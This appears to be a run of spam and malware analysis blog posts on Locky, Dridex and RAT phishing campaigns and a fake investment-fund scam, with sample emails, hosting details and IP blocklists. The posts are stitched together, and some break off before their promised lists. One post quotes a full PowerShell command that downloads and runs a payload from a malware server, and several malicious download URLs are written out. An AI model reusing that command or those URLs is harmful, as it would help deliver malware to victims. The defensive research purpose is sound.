Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

Scam: Fanrong Europe Fund / fanrongfund.info / fanrongeuropefund.info / fanrongeuropefund.com

This spam email advertising a "too good to be true" investment is a scam:

From:    Tim Hoffman [letter@612.com]
To:    contact [contact@victimdomain.tld]
Date:    30 July 2016 at 09:26
Subject:    Fanrong Europe Fund – 1 Half 2016 return +32.69%.

I have received two of these emails, one coming from the IPs 188.69.207.57 and 188.69.223.168 which are both allocated to a mobile phone provider in Lithuania (UPDATE: also 188.69.223.54). The website fanrongfund.info was created just a few days ago (28th July 2016) and is registed to the following (presumably fake) registrant:

The site is hosted (apparently) in the British Virgin Islands on an IP allocated to the Public Domain Registry (PDR). It uses nameservers from Russian company AYBHOST.COM.

The website is pretty generic looking and opens with these words of wisdom:

Our main trade approach is:
"Close the position if it runs to loss, and hold it if it runs to profit".

Hans Messner
fund manager "Fanrong Europe Fund"

What next. "Buy low, sell high"? Here are some screenshots in case you see another version of this on your travels:






The "About" page carries this text:
We are the EU-domiciled investment manager with successful experience in stock trade in EU. Our professional assets managers have personal approach to trade with bear and bulls market. We use self-made investment strategy that allows getting the constant positive result in short-term horizon. All investment process is in full accordance with IIS (International Investment Standards) of Fanrong Capital (Hong Kong) (fanrongcapital.com).
Presumably this is copied off an earlier scam site, in this case there is an official warning about that particular firm.

fanrongfund.info appears to have mirrors at:

fanrongeuropefund.info
fanrongeuropefund.com

Both of these are hosted on 46.4.24.196 (Hetzner, Germany). The WHOIS details for those are inconsistent with each other.

Evil network: Malicious RATs (including milano.exe) on 185.19.85.128/26 (Datawire AG)

There's more to this spam than meets the eye:

From:    wholesale.uganda@anisuma.com
To:    "tariq@paramountdistributors.com" [wholesale.uganda@anisuma.com]
Date:    24 July 2015 at 13:31
Subject:    re:invoice

Attention
Please confirm your consignee name and address on the BL
http://a.pomf.se/cvpkgu.rar
please let update me
thanks 
"Anisuma Traders" is the name of a legitimate trading corporation with operations in several African countries, although they are not sending the spam. It looks like a phish, right? Wrong..

The apparent link to a .rar file caught my eye. In fact, the download location is not pomf.se (a defunct Swedish site) but the click chain goes like this:

http://ge.tt/api/1/files/1XjW10L2/0/blob?download
http://api.ge.tt/1/files/1XjW10L2/0/blob?download
http://ec2-54-155-123-115.eu-west-1.compute.amazonaws.com:9009/streams/1XjW10L2/stu.rar?sig=-U7AIHwQKNyk4BP6A2uOe9UYEFBYCm3SADo&type=download

The file downloaded is stu.rar which in turn contains an executable milano.exe. I'm going to take a guess and suggest that this is a Very Bad File, although the VirusTotal report give a detection rate of just 1/55 with McAfee flagging it as "BehavesLike.Win32.BackdoorNJRat.gc"

Both the Malwr and Hybrid Analysis reports show that it hooks into the OS and attempts to avoid detection. Crucially, they both show network traffic to gee.duia.eu on 185.19.85.138 (Datawire, Switzerland).

So, McAfee thinks this is a RAT and there's suspect network traffic, but what do the email headers tell us?

The "X-MDRemoteIP" header shows that the email originates from the same server it is phoning home to. This is unusual because most spam these days come from botnets, and if the originating server gets shut down for spam then the infected clients won't be able to phone home. The email routes through servers belong to jackys.com in the UAE, perhaps indicating that someone has altered their systems to allow the malicious traffic to route through.

185.19.85.138 is therefore a server of interest, but a quick look at the IP and the neighbourhood indicate that this isn't just a single popped server.. there are 58 IPs hosting what appears to be malicious data (listed at the end) taking up the entire 185.19.85.128/26 range.

I'm betting that renting a /26 slice of Swiss servers isn't cheap.

Out of all the malicious domains (listed at the end of the post), one stands out boss.milano22.com (because the binary is named milano.exe). That is related to this malware, but the WHOIS details reveal no clues.

Another one that also caught my eye because it is multihomed on so many IPs is zexio.no-ip.biz which is related to this malware from 2012 which is variously identified as Shakblades and/or Blackshades, both illicit RAT tools.

Looking at various other domains shows that they are connected with other malicious activity over the past two years or so. What that means is that this operation is not only big, but has been going on for some time.

For research purposes, a copy of the malware is here (Zip file, password=infected)

Personally, I would recommend that you block all dynamic DNS domains on a corporate network, and combined with the other potentially malicious domains gives the following recommended blocklist:

Malware spam: "Your Remittance Advice COMPANY NAME"

Yet another malware spam run today, this time from randomly-named but legitimate companies, for example:

From:    Kate Coffey
Date:    1 April 2015 at 15:00
Subject:    Your Remittance Advice PEEL SOUTH EAST

Dear sir or Madam,

Please find attached a remittance advice (JT934IYIP.doc) for your information.
Should you need any further information, please do not hesitate to contact us.

Best regards
PEEL SOUTH EAST

Attached is a Word document with a filename matching the body one in the text. Every email attachment we have seen so far is slightly different, but there seem to be just two different malicious macros [1] [2] [pastebin] which download a component from one of the following locations:

http://31.41.45.175/sqwere/casma.gif
http://91.242.163.78/sqwere/casma.gif


Those servers are almost certainly entirely malicious, with IPs assigned to:

31.41.45.175 (Relink Ltd, Russia)
91.242.163.78 (Sysmedia, Russia)

This file is saved as %TEMP%\DOWUIAAFQTA.exe and has a VirusTotal detection rate of 4/49. Automated analysis tools [1] [2] [3] show attempted connections to:

188.120.225.17 (TheFirst-RU, Russia)
45.55.154.235 (Digital Ocean, US)
188.126.72.179 (Portlane AB, Sweden)
1.164.114.195 (Data Communication Business Group, Taiwan)
46.19.143.151 (Private Layer Inc, Switzerland)
79.149.162.117 (Telefonica Moviles Espana, Spain)
5.135.28.104 (OVH / Simpace.com, UK)

According to this Malwr report it downloads the same Dridex DLL as seen in this spam run plus another variant of the downloader with a detection rate of 3/56.

Recommended blocklist:
188.120.225.17
45.55.154.235
188.126.72.179
1.164.114.195
46.19.143.151
79.149.162.117
5.135.28.104/29
31.41.45.175
91.242.163.78

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Recommended blocklist:
188.120.225.17

Malware spam: "Remittance XX12345678"

This spam comes from randomly-named companies, with slightly different body text and different subject in each case. Here is an example:

From:    Gale Barlow
Date:    13 February 2015 at 12:30
Subject:    Remittance IN56583285

Dear Sir/Madam,

I hope you are OK. I am writing you to let you know that total amount specified in the contract has been paid into your bank account on the 12th of February at 15:25 via BACS payment system and should reach the destination (beneficiary's) account within 3 working days.
To see full payment details please refer to the remittance advice note attached to the letter.

Any queries? Please reply back with your questions and you will receive a prompt and qualitative response as soon as possible. Please do not hesitate to write us.

Gale Barlow
Accounts Manager
4D PHARMA PLC


Boyd Huffman
Accounts Payable
GETECH GROUP 
There is a malicious Word document attached to the email, so far I have only seen one version of this but usually there are two or more. The document itself has a low detection rate of 1/57 and it contains a malicious macrowhich downloads a file from the following location:

http://62.76.188.221/aksjdderwd/asdbwk/dhoei.exe

This is saved as %TEMP%\dsHHH.exe and has a detection rate of 7/57, identifed as a Dridex downloader. Automated analysis tools [1] [2] [3] [4] show a variety of activities, including communications with the following  IPs:

85.143.166.72 (Pirix, Russia)
46.19.143.151 (Private Layer, Switzerland)
193.206.162.92 (Universita degli Studi dell'Insubria, Italy)
92.63.88.87 (MWTV, Latvia)
78.129.153.18 (iomart, UK)
205.185.119.159 (Frantech Solutions, US)
The malware then drops a Dridex DLL with a detection rate of 3/52  and mysteriously drops another Dridex downloader with a detection rate of 6/57. The Malwr report for that indicates there is some attempting traffic to nonexistent domains.

Recommended blocklist:
85.143.166.72
46.19.143.151
193.206.162.92
92.63.88.87

Something evil on 46.19.139.236

46.19.139.236 (Private Layer Inc, Switzerland) seems to be serving up some sort of Java exploit kit via injection attacks which is utilising hijacked legitimate domains, but the domains in use seem to rotate pretty quickly and I haven't got a copy of the payload, but VirusTotal has some examples. These are the domains that I can find running from this IP:
